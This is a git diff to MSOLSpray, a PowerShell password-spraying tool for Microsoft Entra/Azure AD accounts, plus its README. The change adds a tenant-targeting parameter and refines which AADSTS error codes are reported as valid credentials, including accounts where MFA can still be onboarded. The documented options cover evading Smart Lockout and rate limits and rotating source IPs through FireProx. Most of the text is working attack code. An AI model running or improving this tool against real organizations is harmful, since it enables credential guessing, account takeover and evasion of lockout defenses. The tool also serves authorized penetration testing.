diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1
index 439d9d8..0483431 100644
--- a/MSOLSpray.ps1
+++ b/MSOLSpray.ps1
@@ -34,6 +34,10 @@ function Invoke-MSOLSpray{
         
         The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
     
+    .PARAMETER TenantId
+        
+        The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
+    
     .PARAMETER Delay
         
         Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
@@ -84,14 +88,18 @@ function Invoke-MSOLSpray{
     $URL = "https://login.microsoft.com",
 
     [Parameter(Position = 4, Mandatory = $False)]
+    [string]
+    $TenantId = "common",
+
+    [Parameter(Position = 5, Mandatory = $False)]
     [switch]
     $Force,
 
-    [Parameter(Position = 5, Mandatory = $False)]
+    [Parameter(Position = 6, Mandatory = $False)]
     [int]
     $Delay = 0,
 
-    [Parameter(Position = 6, Mandatory = $False)]
+    [Parameter(Position = 7, Mandatory = $False)]
     [switch]
     $VerboseErrors
   )
@@ -146,7 +154,7 @@ function Invoke-MSOLSpray{
         # Setting up the web request
         $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
         $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' =  'application/x-www-form-urlencoded'}
-        $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr 
+        $webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
 
         # If we get a 200 response code it's a valid cred
         If ($webrequest.StatusCode -eq "200"){
@@ -178,11 +186,18 @@ function Invoke-MSOLSpray{
                 }
 
                 # Microsoft MFA response
-            ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
+            ElseIf($RespErr -match "AADSTS50076")
                 {
                 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
                 $fullresults += "$username : $password"
                 }
+            
+                # User can complete MFA registration
+            ElseIf($RespErr -match "AADSTS50079")
+                {
+                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)."
+                $fullresults += "$username : $password"
+                }
     
                 # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
             ElseIf($RespErr -match "AADSTS50158")
@@ -313,4 +328,5 @@ function Invoke-MSOLSpray{
         Write-Output "Results have been written to $OutFile."
         }
     }
+    Write-Host ""
 }
diff --git a/README.md b/README.md
index 33f210f..61c404c 100644
--- a/README.md
+++ b/README.md
@@ -29,6 +29,7 @@ Password  - A single password that will be used to perform the password spray.
 OutFile   - A file to output valid results to.
 Force     - Forces the spray to continue and not stop when multiple account lockouts are detected.
 URL       - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
+TenantId  - The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
 Delay     - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
 VerboseErrors - Displays additional error information for troubleshooting authentication issues.
 ```